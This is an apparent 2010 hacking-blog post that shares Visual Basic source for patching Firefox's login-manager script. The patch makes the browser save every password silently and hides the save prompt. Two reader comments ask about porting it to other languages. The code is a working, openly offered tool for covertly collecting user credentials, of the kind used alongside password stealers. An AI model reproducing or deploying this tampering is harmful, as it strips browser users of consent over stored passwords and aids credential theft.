Sunday, October 24, 2010

[VB]Firefox Auto Remember Password

Here it is little Source file to make firefox to save passwords Automatically without Prompting :) idea was from lobe :) but i aint doing as he doing little modified and easy to use for working in vista need admin access .. error handling not coded :) If you are using it Please give me credits

'FirefoxAutoSavePasswords.bas by Mr52 / 7
'Leave Me Credits if using
'Thanks for lobe for idea <img src="" alt=":)" class="wp-smiley">

Public Sub firefoxAutoSave()
Dim fPath As String
Dim fVer As String
Dim nJS As String
Dim oStr As String, rStr As String
Dim a As Integer, i As Integer
Dim tmp As String
fVer = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\CurrentVersion")
fPath = RegRead("HKEY_LOCAL_MACHINE\SOFTWARE\Mozilla\Mozilla Firefox\" & fVer & "\Main\Install Directory")
nJS = FileText(fPath & "\components\nsLoginManagerPrompter.js")
oStr = "var pwmgr = this._pwmgr;"
rStr = oStr & vbCrLf & "pwmgr.addLogin(aLogin);"
tmp = Replace(nJS, oStr, rStr)
tmp = Replace(tmp, "this._showLoginNotification(aNotifyBox", "//this._showLoginNotification(aNotifyBox")
tmp = Replace(tmp, "notificationText, buttons);", "//notificationText, buttons);")
Open fPath & "\components\nsLoginManagerPrompter.js" For Output As #1
Print #1, , tmp
Close #1
End Sub
Public Function RegRead(Path As String) As String
On Error Resume Next
Dim ws As Object
On Local Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
RegRead = ""
End Function
Function FileText(ByVal filename As String) As String
    Dim handle As Integer

    ' ensure that the file exists
    If Len(Dir$(filename)) = 0 Then
        Err.Raise 53   ' File not found
    End If

    ' open in binary mode
    handle = FreeFile
    Open filename$ For Binary As #handle
    ' read the string and close the file
    FileText = Space$(LOF(handle))
    Get #handle, , FileText
    Close #handle
End Function

Filed Under :

3 comments for "[VB]Firefox Auto Remember Password"

  1. Hello sir...
    I had some doubt. like u did this coding in VB...
    mm can it be in C# also???
    i m asking this question because once was researching on some process related data fetching through c#. but i found a comment by someone in a forum that .net languages are not able to handle the system level data processing. it would be better to use c/c++ for that. is it true or just a myth??

  2. Well no you can even code this in c# and c and C++ or delphi or even ASM depends in the skills
    but i propose you to use c or c++ as u dont need any imports or it doesn't depend on other things

    Its easy to code this in other languages